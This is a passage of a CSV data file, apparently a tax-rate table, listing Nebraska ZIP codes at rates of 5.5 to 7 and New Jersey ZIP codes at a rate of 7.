US-NE-69168,US,NE,69168,5.5,,,, US-NE-69169,US,NE,69169,5.5,,,, US-NE-69170,US,NE,69170,5.5,,,, US-NE-69171,US,NE,69171,5.5,,,, US-NE-69190,US,NE,69190,7,,,, US-NE-69201,US,NE,69201,7,,,, US-NE-69210,US,NE,69210,7,,,, US-NE-69211,US,NE,69211,5.5,,,, US-NE-69212,US,NE,69212,5.5,,,, US-NE-69214,US,NE,69214,5.5,,,, US-NE-69216,US,NE,69216,5.5,,,, US-NE-69217,US,NE,69217,5.5,,,, US-NE-69218,US,NE,69218,5.5,,,, US-NE-69219,US,NE,69219,5.5,,,, US-NE-69220,US,NE,69220,5.5,,,, US-NE-69221,US,NE,69221,5.5,,,, US-NE-69301,US,NE,69301,7,,,, US-NE-69331,US,NE,69331,5.5,,,, US-NE-69333,US,NE,69333,5.5,,,, US-NE-69334,US,NE,69334,5.5,,,, US-NE-69335,US,NE,69335,5.5,,,, US-NE-69336,US,NE,69336,6.5,,,, US-NE-69337,US,NE,69337,7,,,, US-NE-69339,US,NE,69339,7,,,, US-NE-69340,US,NE,69340,5.5,,,, US-NE-69341,US,NE,69341,7,,,, US-NE-69343,US,NE,69343,6.5,,,, US-NE-69345,US,NE,69345,5.5,,,, US-NE-69346,US,NE,69346,5.5,,,, US-NE-69347,US,NE,69347,5.5,,,, US-NE-69348,US,NE,69348,5.5,,,, US-NE-69350,US,NE,69350,5.5,,,, US-NE-69351,US,NE,69351,5.5,,,, US-NE-69352,US,NE,69352,5.5,,,, US-NE-69353,US,NE,69353,5.5,,,, US-NE-69354,US,NE,69354,5.5,,,, US-NE-69355,US,NE,69355,5.5,,,, US-NE-69356,US,NE,69356,5.5,,,, US-NE-69357,US,NE,69357,5.5,,,, US-NE-69358,US,NE,69358,5.5,,,, US-NE-69360,US,NE,69360,5.5,,,, US-NE-69361,US,NE,69361,7,,,, US-NE-69363,US,NE,69363,7,,,, US-NE-69365,US,NE,69365,6.5,,,, US-NE-69366,US,NE,69366,5.5,,,, US-NE-69367,US,NE,69367,5.5,,,, US-NJ-07001,US,NJ,07001,7,,,, US-NJ-07002,US,NJ,07002,7,,,, US-NJ-07003,US,NJ,07003,7,,,, US-NJ-07004,US,NJ,07004,7,,,, US-NJ-07005,US,NJ,07005,7,,,, US-NJ-07006,US,NJ,07006,7,,,, US-NJ-07007,US,NJ,07007,7,,,, US-NJ-07008,US,NJ,07008,7,,,, US-NJ-07009,US,NJ,07009,7,,,, US-NJ-07010,US,NJ,07010,7,,,, US-NJ-07011,US,NJ,07011,7,,,, US-NJ-07012,US,NJ,07012,7,,,, US-NJ-07013,US,NJ,07013,7,,,, US-NJ-07014,US,NJ,07014,7,,,, US-NJ-07015,US,NJ,07015,7,,,, US-NJ-07016,US,NJ,07016,7,,,, US-NJ-07017,US,NJ,07017,7,,,, US-NJ-07018,US,NJ,07018,7,,,, US-NJ-07019,US,NJ,07019,7,,,, US-NJ-07020,US,NJ,07020,7,,,, US-NJ-07021,US,NJ,07021,7,,,, US-NJ-07022,US,NJ,07022,7,,,, US-NJ-07023,US,NJ,07023,7,,,, US-NJ-07024,US,NJ,07024,7,,,, US-NJ-07026,US,NJ,07026,7,,,, US-NJ-07027,US,NJ,07027,7,,,, US-NJ-07028,US,NJ,07028,7,,,, US-NJ-07029,US,NJ,07029,7,,,, US-NJ-07030,US,NJ,07030,7,,,, US-NJ-07031,US,NJ,07031,7,,,, US-NJ-07032,US,NJ,07032,7,,,, US-NJ-07033,US,NJ,07033,7,,,, US-NJ-07034,US,NJ,07034,7,,,, US-NJ-07035,US,NJ,07035,7,,,, US-NJ-07036,US,NJ,07036,7,,,, US-NJ-07039,US,NJ,07039,7,,,, US-NJ-07040,US,NJ,07040,7,,,, US-NJ-07041,US,NJ,07041,7,,,, US-NJ-07042,US,NJ,07042,7,,,, US-NJ-07043,US,NJ,07043,7,,,, US-NJ-07044,US,NJ,07044,7,,,, US-NJ-07045,US,NJ,07045,7,,,, US-NJ-07046,US,NJ,07046,7,,,, US-NJ-07047,US,NJ,07047,7,,,, US-NJ-07050,US,NJ,07050,7,,,, US-NJ-07051,US,NJ,07051,7,,,, US-NJ-07052,US,NJ,07052,7,,,, US-NJ-07054,US,NJ,07054,7,,,, US-NJ-07055,US,NJ,07055,7,,,, US-NJ-07057,US,NJ,07057,7,,,, US-NJ-07058,US,NJ,07058,7,,,, US-NJ-07059,US,NJ,07059,7,,,, US-NJ-07060,US,NJ,07060,7,,,, US-NJ-07061,US,NJ,07061,7,,,, US-NJ-07062,US,NJ,07062,7,,,, US-NJ-07063,US,NJ,07063,7,,,, US-NJ-07064,US,NJ,07064,7,,,, US-NJ-07065,US,NJ,07065,7,,,, US-NJ-07066,US,NJ,07066,7,,,, US-NJ-07067,US,NJ,07067,7,,,, US-NJ-07068,US,NJ,07068,7,,,, US-NJ-07069,US,NJ,07069,7,,,, US-NJ-07070,US,NJ,07070,7,,,, US-NJ-07071,US,NJ,07071,7,,,, US-NJ-07072,US,NJ,07072,7,,,, US-NJ-07073,US,NJ,07073,7,,,, US-NJ-07074,US,NJ,07074,7,,,, US-NJ-07075,US,NJ,07075,7,,,, US-NJ-07076,US,NJ,07076,7,,,, US-NJ-07077,US,NJ,07077,7,,,, US-NJ-07078,US,NJ,07078,7,,,, US-NJ-07079,US,NJ,07079,7,,,, US-NJ-07080,US,NJ,07080,7,,,, US-NJ-07081,US,NJ,07081,7,,,, US-NJ-07082,US,NJ,07082,7,,,, US-NJ-07083,US,NJ,07083,7,,,, US-NJ-07086,US,NJ,07086,7,,,, US-NJ-07087,US,NJ,07087,7,,,, US-NJ-07088,US,NJ,07088,7,,,, US-NJ-07090,US,NJ,07090,7,,,, US-NJ-07091,US,NJ,07091,7,,,, US-NJ-07092,US,NJ,07092,7,,,, US-NJ-07093,US,NJ,07093,7,,,, US-NJ-07094,US,NJ,07094,7,,,, US-NJ-07095,US,NJ,07095,7,,,, US-NJ-07096,US,NJ,07096,7,,,, US-NJ-07097,US,NJ,07097,7,,,, US-NJ-07099,US,NJ,07099,7,,,, US-NJ-07101,US,NJ,07101,7,,,, US-NJ-07102,US,NJ,07102,7,,,, US-NJ-07103,US,NJ,07103,7,,,, US-NJ-07104,US,NJ,07104,7,,,, US-NJ-07105,US,NJ,07105,7,,,, US-NJ-07106,US,NJ,07106,7,,,, US-NJ-07107,US,NJ,07107,7,,,, US-NJ-07108,US,NJ,07108,7,,,, US-NJ-07109,US,NJ,07109,7,,,, US-NJ-07110,US,NJ,07110,7,,,, US-NJ-07111,US,NJ,07111,7,,,, US-NJ-07112,US,NJ,07112,7,,,, US-NJ-07114,US,NJ,07114,7,,,, US-NJ-07175,US,NJ,07175,7,,,, US-NJ-07184,US,NJ,07184,7,,,, US-NJ-07188,US,NJ,07188,7,,,, US-NJ-07189,US,NJ,07189,7,,,, US-NJ-07191,US,NJ,07191,7,,,, US-NJ-07192,US,NJ,07192,7,,,, US-NJ-07193,US,NJ,07193,7,,,, US-NJ-07195,US,NJ,07195,7,,,, US-NJ-07198,US,NJ,07198,7,,,, US-NJ-07199,US,NJ,07199,7,,,, US-NJ-07201,US,NJ,07201,7,,,, US-NJ-07202,US,NJ,07202,7,,,, US-NJ-07203,US,NJ,07203,7,,,, US-NJ-07204,US,NJ,07204,7,,,, US-NJ-07205,US,NJ,07205,7,,,, US-NJ-07206,US,NJ,07206,7,,,, US-NJ-07207,US,NJ,07207,7,,,, US-NJ-07208,US,NJ,07208,7,,,, US-NJ-07302,US,NJ,07302,7,,,, US-NJ-07303,US,NJ,07303,7,,,, US-NJ-07304,US,NJ,07304,7,,,, US-NJ-07305,US,NJ,07305,7,,,, US-NJ-07306,US,NJ,07306,7,,,, US-NJ-07307,US,NJ,07307,7,,,, US-NJ-07308,US,NJ,07308,7,,,, US-NJ-07310,US,NJ,07310,7,,,, US-NJ-07311,US,NJ,07311,7,,,, US-NJ-07395,US,NJ,07395,7,,,, US-NJ-07399,US,NJ,07399,7,,,, US-NJ-07401,US,NJ,07401,7,,,, US-NJ-07403,US,NJ,07403,7,,,, US-NJ-07405,US,NJ,07405,7,,,, US-NJ-07407,US,NJ,07407,7,,,, US-NJ-07410,US,NJ,07410,7,,,, US-NJ-07416,US,NJ,07416,7,,,, US-NJ-07417,US,NJ,07417,7,,,, US-NJ-07418,US,NJ,07418,7,,,, US-NJ-07419,US,NJ,07419,7,,,, US-NJ-07420,US,NJ,07420,7,,,, US-NJ-07421,US,NJ,07421,7,,,, US-NJ-07422,US,NJ,07422,7,,,, US-NJ-07423,US,NJ,07423,7,,,, US-NJ-07424,US,NJ,07424,7,,,, US-NJ-07428,US,NJ,07428,7,,,, US-NJ-07430,US,NJ,07430,7,,,, US-NJ-07432,US,NJ,07432,7,,,, US-NJ-07435,US,NJ,07435,7,,,, US-NJ-07436,US,NJ,07436,7,,,, US-NJ-07438,US,NJ,07438,7,,,, US-NJ-07439,US,NJ,07439,7,,,, US-NJ-07440,US,NJ,07440,7,,,, US-NJ-07442,US,NJ,07442,7,,,, US-NJ-07444,US,NJ,07444,7,,,, US-NJ-07446,US,NJ,07446,7,,,, US-NJ-07450,US,NJ,07450,7,,,, US-NJ-07451,US,NJ,07451,7,,,, US-NJ-07452,US,NJ,07452,7,,,, US-NJ-07456,US,NJ,07456,7,,,, US-NJ-07457,US,NJ,07457,7,,,, US-NJ-07458,US,NJ,07458,7,,,, US-NJ-07460,US,NJ,07460,7,,,, US-NJ-07461,US,NJ,07461,7,,,, US-NJ-07462,US,NJ,07462,7,,,, US-NJ-07463,US,NJ,07463,7,,,, US-NJ-07465,US,NJ,07465,7,,,, US-NJ-07470,US,NJ,07470,7,,,, US-NJ-07474,US,NJ,07474,7,,,, US-NJ-07480,US,NJ,07480,7,,,, US-NJ-07481,US,NJ,07481,7,,,, US-NJ-07495,US,NJ,07495,7,,,, US-NJ-07501,US,NJ,07501,7,,,, US-NJ-07502,US,NJ,07502,7,,,, US-NJ-07503,US,NJ,07503,7,,,, US-NJ-07504,US,NJ,07504,7,,,, US-NJ-07505,US,NJ,07505,7,,,, US-NJ-07506,US,NJ,07506,7,,,, US-NJ-07507,US,NJ,07507,7,,,, US-NJ-07508,US,NJ,07508,7,,,, US-NJ-07509,US,NJ,07509,7,,,, US-NJ-07510,US,NJ,07510,7,,,, US-NJ-07511,US,NJ,07511,7,,,, US-NJ-07512,US,NJ,07512,7,,,, US-NJ-07513,US,NJ,07513,7,,,, US-NJ-07514,US,NJ,07514,7,,,, US-NJ-07522,US,NJ,07522,7,,,, US-NJ-07524,US,NJ,07524,7,,,, US-NJ-07533,US,NJ,07533,7,,,, US-NJ-07538,US,NJ,07538,7,,,, US-NJ-07543,US,NJ,07543,7,,,, US-NJ-07544,US,NJ,07544,7,,,, US-NJ-07601,US,NJ,07601,7,,,, US-NJ-07602,US,NJ,07602,7,,,, US-NJ-07603,US,NJ,07603,7,,,, US-NJ-07604,US,NJ,07604,7,,,, US-NJ-07605,US,NJ,07605,7,,,, US-NJ-07606,US,NJ,07606,7,,,, US-NJ-07607,US,NJ,07607,7,,,, US-NJ-07608,US,NJ,07608,7,,,, US-NJ-07620,US,NJ,07620,7,,,, US-NJ-07621,US,NJ,07621,7,,,, US-NJ-07624,US,NJ,07624,7,,,, US-NJ-07626,US,NJ,07626,7,,,, US-NJ-07627,US,NJ,07627,7,,,, US-NJ-07628,US,NJ,07628,7,,,, US-NJ-07630,US,NJ,07630,7,,,, US-NJ-07631,US,NJ,07631,7,,,, US-NJ-07632,US,NJ,07632,7,,,, US-NJ-07640,US,NJ,07640,7,,,, US-NJ-07641,US,NJ,07641,7,,,, US-NJ-07642,US,NJ,07642,7,,,, US-NJ-07643,US,NJ,07643,7,,,, US-NJ-07644,US,NJ,07644,7,,,, US-NJ-07645,US,NJ,07645,7,,,, US-NJ-07646,US,NJ,07646,7,,,, US-NJ-07647,US,NJ,07647,7,,,, US-NJ-07648,US,NJ,07648,7,,,, US-NJ-07649,US,NJ,07649,7,,,, US-NJ-07650,US,NJ,07650,7,,,, US-NJ-07652,US,NJ,07652,7,,,, US-NJ-07653,US,NJ,07653,7,,,, US-NJ-07656,US,NJ,07656,7,,,, US-NJ-07657,US,NJ,07657,7,,,, US-NJ-07660,US,NJ,07660,7,,,, US-NJ-07661,US,NJ,07661,7,,,, US-NJ-07662,US,NJ,07662,7,,,, US-NJ-07663,US,NJ,07663,7,,,, US-NJ-07666,US,NJ,07666,7,,,, US-NJ-07670,US,NJ,07670,7,,,, US-NJ-07675,US,NJ,07675,7,,,, US-NJ-07676,US,NJ,07676,7,,,, US-NJ-07677,US,NJ,07677,7,,,, US-NJ-07699,US,NJ,07699,7,,,, US-NJ-07701,US,NJ,07701,7,,,, US-NJ-07702,US,NJ,07702,7,,,, US-NJ-07703,US,NJ,07703,7,,,, US-NJ-07704,US,NJ,07704,7,,,, US-NJ-07709,US,NJ,07709,7,,,, US-NJ-07710,US,NJ,07710,7,,,, US-NJ-07711,US,NJ,07711,7,,,, US-NJ-07712,US,NJ,07712,7,,,, US-NJ-07715,US,NJ,07715,7,,,, US-NJ-07716,US,NJ,07716,7,,,, US-NJ-07717,US,NJ,07717,7,,,, US-NJ-07718,US,NJ,07718,7,,,, US-NJ-07719,US,NJ,07719,7,,,, US-NJ-07720,US,NJ,07720,7,,,, US-NJ-07721,US,NJ,07721,7,,,, US-NJ-07722,US,NJ,07722,7,,,, US-NJ-07723,US,NJ,07723,7,,,, US-NJ-07724,US,NJ,07724,7,,,, US-NJ-07726,US,NJ,07726,7,,,, US-NJ-07727,US,NJ,07727,7,,,, US-NJ-07728,US,NJ,07728,7,,,, US-NJ-07730,US,NJ,07730,7,,,, US-NJ-07731,US,NJ,07731,7,,,, US-NJ-07732,US,NJ,07732,7,,,, US-NJ-07733,US,NJ,07733,7,,,, US-NJ-07734,US,NJ,07734,7,,,, US-NJ-07735,US,NJ,07735,7,,,, US-NJ-07737,US,NJ,07737,7,,,, US-NJ-07738,US,NJ,07738,7,,,, US-NJ-07739,US,NJ,07739,7,,,, US-NJ-07740,US,NJ,07740,7,,,, US-NJ-07746,US,NJ,07746,7,,,, US-NJ-07747,US,NJ,07747,7,,,, US-NJ-07748,US,NJ,07748,7,,,, US-NJ-07750,US,NJ,07750,7,,,, US-NJ-07751,US,NJ,07751,7,,,, US-NJ-07752,US,NJ,07752,7,,,, US-NJ-07753,US,NJ,07753,7,,,, US-NJ-07754,US,NJ,07754,7,,,, US-NJ-07755,US,NJ,07755,7,,,, US-NJ-07756,US,NJ,07756,7,,,, US-NJ-07757,US,NJ,07757,7,,,, US-NJ-07758,US,NJ,07758,7,,,, US-NJ-07760,US,NJ,07760,7,,,, US-NJ-07762,US,NJ,07762,7,,,, US-NJ-07763,US,NJ,07763,7,,,, US-NJ-07764,US,NJ,07764,7,,,, US-NJ-07765,US,NJ,07765,7,,,, US-NJ-07799,US,NJ,07799,7,,,, US-NJ-07801,US,NJ,07801,7,,,, US-NJ-07802,US,NJ,07802,7,,,, US-NJ-07803,US,NJ,07803,7,,,, US-NJ-07806,US,NJ,07806,7,,,, US-NJ-07820,US,NJ,07820,7,,,, US-NJ-07821,US,NJ,07821,7,,,, US-NJ-07822,US,NJ,07822,7,,,, US-NJ-07823,US,NJ,07823,7,,,, US-NJ-07825,US,NJ,07825,7,,,, US-NJ-07826,US,NJ,07826,7,,,, US-NJ-07827,US,NJ,07827,7,,,, US-NJ-07828,US,NJ,07828,7,,,, US-NJ-07829,US,NJ,07829,7,,,, US-NJ-07830,US,NJ,07830,7,,,, US-NJ-07831,US,NJ,07831,7,,,, US-NJ-07832,US,NJ,07832,7,,,, US-NJ-07833,US,NJ,07833,7,,,, US-NJ-07834,US,NJ,07834,7,,,, US-NJ-07836,US,NJ,07836,7,,,, US-NJ-07837,US,NJ,07837,7,,,, US-NJ-07838,US,NJ,07838,7,,,, US-NJ-07839,US,NJ,07839,7,,,, US-NJ-07840,US,NJ,07840,7,,,, US-NJ-07842,US,NJ,07842,7,,,, US-NJ-07843,US,NJ,07843,7,,,, US-NJ-07844,US,NJ,07844,7,,,, US-NJ-07845,US,NJ,07845,7,,,, US-NJ-07846,US,NJ,07846,7,,,, US-NJ-07847,US,NJ,07847,7,,,, US-NJ-07848,US,NJ,07848,7,,,, US-NJ-07849,US,NJ,07849,7,,,, US-NJ-07850,US,NJ,07850,7,,,, US-NJ-07851,US,NJ,07851,7,,,, US-NJ-07852,US,NJ,07852,7,,,, US-NJ-07853,US,NJ,07853,7,,,, US-NJ-07855,US,NJ,07855,7,,,, US-NJ-07856,US,NJ,07856,7,,,, US-NJ-07857,US,NJ,07857,7,,,, US-NJ-07860,US,NJ,07860,7,,,, US-NJ-07863,US,NJ,07863,7,,,, US-NJ-07865,US,NJ,07865,7,,,, US-NJ-07866,US,NJ,07866,7,,,, US-NJ-07869,US,NJ,07869,7,,,, US-NJ-07870,US,NJ,07870,7,,,, US-NJ-07871,US,NJ,07871,7,,,, US-NJ-07874,US,NJ,07874,7,,,, US-NJ-07875,US,NJ,07875,7,,,, US-NJ-07876,US,NJ,07876,7,,,, US-NJ-07877,US,NJ,07877,7,,,, US-NJ-07878,US,NJ,07878,7,,,, US-NJ-07879,US,NJ,07879,7,,,, US-NJ-07880,US,NJ,07880,7,,,, US-NJ-07881,US,NJ,07881,7,,,, US-NJ-07882,US,NJ,07882,7,,,, US-NJ-07885,US,NJ,07885,7,,,, US-NJ-07890,US,NJ,07890,7,,,, US-NJ-07901,US,NJ,07901,7,,,, US-NJ-07902,US,NJ,07902,7,,,, US-NJ-07920,US,NJ,07920,7,,,, US-NJ-07921,US,NJ,07921,7,,,, US-NJ-07922,US,NJ,07922,7,,,, US-NJ-07924,US,NJ,07924,7,,,, US-NJ-07926,US,NJ,07926,7,,,, US-NJ-07927,US,NJ,07927,7,,,, US-NJ-07928,US,NJ,07928,7,,,, US-NJ-07930,US,NJ,07930,7,,,, US-NJ-07931,US,NJ,07931,7,,,, US-NJ-07932,US,NJ,07932,7,,,, US-NJ-07933,US,NJ,07933,7,,,, US-NJ-07934,US,NJ,07934,7,,,, US-NJ-07935,US,NJ,07935,7,,,, US-NJ-07936,US,NJ,07936,7,,,, US-NJ-07938,US,NJ,07938,7,,,, US-NJ-07939,US,NJ,07939,7,,,, US-NJ-07940,US,NJ,07940,7,,,, US-NJ-07945,US,NJ,07945,7,,,, US-NJ-07946,US,NJ,07946,7,,,, US-NJ-07950,US,NJ,07950,7,,,, US-NJ-07960,US,NJ,07960,7,,,, US-NJ-07961,US,NJ,07961,7,,,, US-NJ-07962,US,NJ,07962,7,,,, US-NJ-07963,US,NJ,07963,7,,,, US-NJ-07970,US,NJ,07970,7,,,, US-NJ-07974,US,NJ,07974,7,,,, US-NJ-07976,US,NJ,07976,7,,,, US-NJ-07977,US,NJ,07977,7,,,, US-NJ-07978,US,NJ,07978,7,,,, US-NJ-07979,US,NJ,07979,7,,,, US-NJ-07980,US,NJ,07980,7,,,, US-NJ-07981,US,NJ,07981,7,,,, US-NJ-07999,US,NJ,07999,7,,,, US-NJ-08001,US,NJ,08001,7,,,, US-NJ-08002,US,NJ,08002,7,,,, US-NJ-08003,US,NJ,08003,7,,,, US-NJ-08004,US,NJ,08004,7,,,, US-NJ-08005,US,NJ,08005,7,,,, US-NJ-08006,US,NJ,08006,7,,,, US-NJ-08007,US,NJ,08007,7,,,, US-NJ-08008,US,NJ,08008,7,,,, US-NJ-08009,US,NJ,08009,7,,,, US-NJ-08010,US,NJ,08010,7,,,, US-NJ-08011,US,NJ,08011,7,,,, US-NJ-08012,US,NJ,08012,7,,,, US-NJ-08014,US,NJ,08014,7,,,, US-NJ-08015,US,NJ,08015,7,,,, US-NJ-08016,US,NJ,08016,7,,,, US-NJ-08018,US,NJ,08018,7,,,, US-NJ-08019,US,NJ,08019,7,,,, US-NJ-08020,US,NJ,08020,7,,,, US-NJ-08021,US,NJ,08021,7,,,, US-NJ-08022,US,NJ,08022,7,,,, US-NJ-08023,US,NJ,08023,7,,,, US-NJ-08025,US,NJ,08025,7,,,, US-NJ-08026,US,NJ,08026,7,,,, US-NJ-08027,US,NJ,08027,7,,,, US-NJ-08028,US,NJ,08028,7,,,, US-NJ-08029,US,NJ,08029,7,,,, US-NJ-08030,US,NJ,08030,7,,,, US-NJ-08031,US,NJ,08031,7,,,, US-NJ-08032,US,NJ,08032,7,,,, US-NJ-08033,US,NJ,08033,7,,,, US-NJ-08034,US,NJ,08034,7,,,, US-NJ-08035,US,NJ,08035,7,,,, US-NJ-08036,US,NJ,08036,7,,,, US-NJ-08037,US,NJ,08037,7,,,, US-NJ-08038,US,NJ,08038,7,,,, US-NJ-08039,US,NJ,08039,7,,,, US-NJ-08041,US,NJ,08041,7,,,, US-NJ-08042,US,NJ,08042,7,,,, US-NJ-08043,US,NJ,08043,7,,,, US-NJ-08045,US,NJ,08045,7,,,, US-NJ-08046,US,NJ,08046,7,,,, US-NJ-08048,US,NJ,08048,7,,,, US-NJ-08049,US,NJ,08049,7,,,, US-NJ-08050,US,NJ,08050,7,,,, US-NJ-08051,US,NJ,08051,7,,,, US-NJ-08052,US,NJ,08052,7,,,, US-NJ-08053,US,NJ,08053,7,,,, US-NJ-08054,US,NJ,08054,7,,,, US-NJ-08055,US,NJ,08055,7,,,, US-NJ-08056,US,NJ,08056,7,,,, US-NJ-08057,US,NJ,08057,7,,,, US-NJ-08059,US,NJ,08059,7,,,, US-NJ-08060,US,NJ,08060,7,,,, US-NJ-08061,US,NJ,08061,7,,,, US-NJ-08062,US,NJ,08062,7,,,, US-NJ-08063,US,NJ,08063,7,,,, US-NJ-08064,US,NJ,08064,7,,,, US-NJ-08065,US,NJ,08065,7,,,, US-NJ-08066,US,NJ,08066,7,,,, US-NJ-08067,US,NJ,08067,7,,,, US-NJ-08068,US,NJ,08068,7,,,, US-NJ-08069,US,NJ,08069,7,,,, US-NJ-08070,US,NJ,08070,7,,,, US-NJ-08071,US,NJ,08071,7,,,, US-NJ-08072,US,NJ,08072,7,,,, US-NJ-08073,US,NJ,08073,7,,,, US-NJ-08074,US,NJ,08074,7,,,, US-NJ-08075,US,NJ,08075,7,,,, US-NJ-08076,US,NJ,08076,7,,,, US-NJ-08077,US,NJ,08077,7,,,, US-NJ-08078,US,NJ,08078,7,,,, US-NJ-08079,US,NJ,08079,7,,,, US-NJ-08080,US,NJ,08080,7,,,, US-NJ-08081,US,NJ,08081,7,,,, US-NJ-08083,US,NJ,08083,7,,,, US-NJ-08084,US,NJ,08084,7,,,, US-NJ-08085,US,NJ,08085,7,,,, US-NJ-08086,US,NJ,08086,7,,,, US-NJ-08087,US,NJ,08087,7,,,, US-NJ-08088,US,NJ,08088,7,,,, US-NJ-08089,US,NJ,08089,7,,,, US-NJ-08090,US,NJ,08090,7,,,, US-NJ-08091,US,NJ,08091,7,,,, US-NJ-08092,US,NJ,08092,7,,,, US-NJ-08093,US,NJ,08093,7,,,, US-NJ-08094,US,NJ,08094,7,,,, US-NJ-08095,US,NJ,08095,7,,,, US-NJ-08096,US,NJ,08096,7,,,, US-NJ-08097,US,NJ,08097,7,,,, US-NJ-08098,US,NJ,08098,7,,,, US-NJ-08099,US,NJ,08099,7,,,, US-NJ-08101,US,NJ,08101,7,,,, US-NJ-08102,US,NJ,08102,7,,,, US-NJ-08103,US,NJ,08103,7,,,, US-NJ-08104,US,NJ,08104,7,,,, US-NJ-08105,US,NJ,08105,7,,,, US-NJ-08106,US,NJ,08106,7,,,, US-NJ-08107,US,NJ,08107,7,,,, US-NJ-08108,US,NJ,08108,7,,,, US-NJ-08109,US,NJ,08109,7,,,, US-NJ-08110,US,NJ,08110,7,,,, US-NJ-08201,US,NJ,08201,7,,,, US-NJ-08202,US,NJ,08202,7,,,, US-NJ-08203,US,NJ,08203,7,,,, US-NJ-08204,US,NJ,08204,7,,,, US-NJ-08205,US,NJ,08205,7,,,, US-NJ-08210,US,NJ,08210,7,,,, US-NJ-08212,US,NJ,08212,7,,,, US-NJ-08213,US,NJ,08213,7,,,, US-NJ-08214,US,NJ,08214,7,,,, US-NJ-08215,US,NJ,08215,7,,,, US-NJ-08217,US,NJ,08217,7,,,, US-NJ-08218,US,NJ,08218,7,,,, US-NJ-08219,US,NJ,08219,7,,,, US-NJ-08220,US,NJ,08220,7,,,, US-NJ-08221,US,NJ,08221,7,,,, US-NJ-08223,US,NJ,08223,7,,,, US-NJ-08224,US,NJ,08224,7,,,, US-NJ-08225,US,NJ,08225,7,,,, US-NJ-08226,US,NJ,08226,7,,,, US-NJ-08230,US,NJ,08230,7,,,, US-NJ-08231,US,NJ,08231,7,,,, US-NJ-08232,US,NJ,08232,7,,,, US-NJ-08234,US,NJ,08234,7,,,, US-NJ-08240,US,NJ,08240,7,,,, US-NJ-08241,US,NJ,08241,7,,,, US-NJ-08242,US,NJ,08242,7,,,, US-NJ-08243,US,NJ,08243,7,,,, US-NJ-08244,US,NJ,08244,7,,,, US-NJ-08245,US,NJ,08245,7,,,, US-NJ-08246,US,NJ,08246,7,,,, US-NJ-08247,US,NJ,08247,7,,,, US-NJ-08248,US,NJ,08248,7,,,, US-NJ-08250,US,NJ,08250,7,,,, US-NJ-08251,US,NJ,08251,7,,,, US-NJ-08252,US,NJ,08252,7,,,, US-NJ-08260,US,NJ,08260,7,,,, US-NJ-08270,US,NJ,08270,7,,,, US-NJ-08302,US,NJ,08302,7,,,, US-NJ-08310,US,NJ,08310,7,,,, US-NJ-08311,US,NJ,08311,7,,,, US-NJ-08312,US,NJ,08312,7,,,, US-NJ-08313,US,NJ,08313,7,,,, US-NJ-08314,US,NJ,08314,7,,,, US-NJ-08315,US,NJ,08315,7,,,, US-NJ-08316,US,NJ,08316,7,,,, US-NJ-08317,US,NJ,08317,7,,,, US-NJ-08318,US,NJ,08318,7,,,, US-NJ-08319,US,NJ,08319,7,,,, US-NJ-08320,US,NJ,08320,7,,,, US-NJ-08321,US,NJ,08321,7,,,, US-NJ-08322,US,NJ,08322,7,,,, US-NJ-08323,US,NJ,08323,7,,,, US-NJ-08324,US,NJ,08324,7,,,, US-NJ-08326,US,NJ,08326,7,,,, US-NJ-08327,US,NJ,08327,7,,,, US-NJ-08328,US,NJ,08328,7,,,, US-NJ-08329,US,NJ,08329,7,,,, US-NJ-08330,US,NJ,08330,7,,,, US-NJ-08332,US,NJ,08332,7,,,, US-NJ-08340,US,NJ,08340,7,,,, US-NJ-08341,US,NJ,08341,7,,,, US-NJ-08342,US,NJ,08342,7,,,, US-NJ-08343,US,NJ,08343,7,,,, US-NJ-08344,US,NJ,08344,7,,,, US-NJ-08345,US,NJ,08345,7,,,, US-NJ-08346,US,NJ,08346,7,,,, US-NJ-08347,US,NJ,08347,7,,,, US-NJ-08348,US,NJ,08348,7,,,, US-NJ-08349,US,NJ,08349,7,,,, US-NJ-08350,US,NJ,08350,7,,,, US-NJ-08352,US,NJ,08352,7,,,, US-NJ-08353,US,NJ,08353,7,,,, US-NJ-08360,US,NJ,08360,7,,,, US-NJ-08361,US,NJ,08361,7,,,, US-NJ-08362,US,NJ,08362,7,,,, US-NJ-08401,US,NJ,08401,7,,,, US-NJ-08402,US,NJ,08402,7,,,, US-NJ-08403,US,NJ,08403,7,,,, US-NJ-08404,US,NJ,08404,7,,,, US-NJ-08405,US,NJ,08405,7,,,, US-NJ-08406,US,NJ,08406,7,,,, US-NJ-08501,US,NJ,08501,7,,,, US-NJ-08502,US,NJ,08502,7,,,, US-NJ-08504,US,NJ,08504,7,,,, US-NJ-08505,US,NJ,08505,7,,,, US-NJ-08510,US,NJ,08510,7,,,, US-NJ-08511,US,NJ,08511,7,,,, US-NJ-08512,US,NJ,08512,7,,,, US-NJ-08514,US,NJ,08514,7,,,, US-NJ-08515,US,NJ,08515,7,,,, US-NJ-08518,US,NJ,08518,7,,,, US-NJ-08520,US,NJ,08520,7,,,, US-NJ-08525,US,NJ,08525,7,,,, US-NJ-08526,US,NJ,08526,7,,,, US-NJ-08527,US,NJ,08527,7,,,, US-NJ-08528,US,NJ,08528,7,,,, US-NJ-08530,US,NJ,08530,7,,,, US-NJ-08533,US,NJ,08533,7,,,, US-NJ-08534,US,NJ,08534,7,,,, US-NJ-08535,US,NJ,08535,7,,,, US-NJ-08536,US,NJ,08536,7,,,, US-NJ-08540,US,NJ,08540,7,,,, US-NJ-08541,US,NJ,08541,7,,,, US-NJ-08542,US,NJ,08542,7,,,, US-NJ-08543,US,NJ,08543,7,,,, US-NJ-08544,US,NJ,08544,7,,,, US-NJ-08550,US,NJ,08550,7,,,, US-NJ-08551,US,NJ,08551,7,,,, US-NJ-08553,US,NJ,08553,7,,,, US-NJ-08554,US,NJ,08554,7,,,, US-NJ-08555,US,NJ,08555,7,,,, US-NJ-08556,US,NJ,08556,7,,,, US-NJ-08557,US,NJ,08557,7,,,, US-NJ-08558,US,NJ,08558,7,,,, US-NJ-08559,US,NJ,08559,7,,,, US-NJ-08560,US,NJ,08560,7,,,, US-NJ-08561,US,NJ,08561,7,,,, US-NJ-08562,US,NJ,08562,7,,,, US-NJ-08601,US,NJ,08601,7,,,, US-NJ-08602,US,NJ,08602,7,,,, US-NJ-08603,US,NJ,08603,7,,,, US-NJ-08604,US,NJ,08604,7,,,, US-NJ-08605,US,NJ,08605,7,,,, US-NJ-08606,US,NJ,08606,7,,,, US-NJ-08607,US,NJ,08607,7,,,, US-NJ-08608,US,NJ,08608,7,,,, US-NJ-08609,US,NJ,08609,7,,,, US-NJ-08610,US,NJ,08610,7,,,, US-NJ-08611,US,NJ,08611,7,,,, US-NJ-08618,US,NJ,08618,7,,,, US-NJ-08619,US,NJ,08619,7,,,, US-NJ-08620,US,NJ,08620,7,,,, 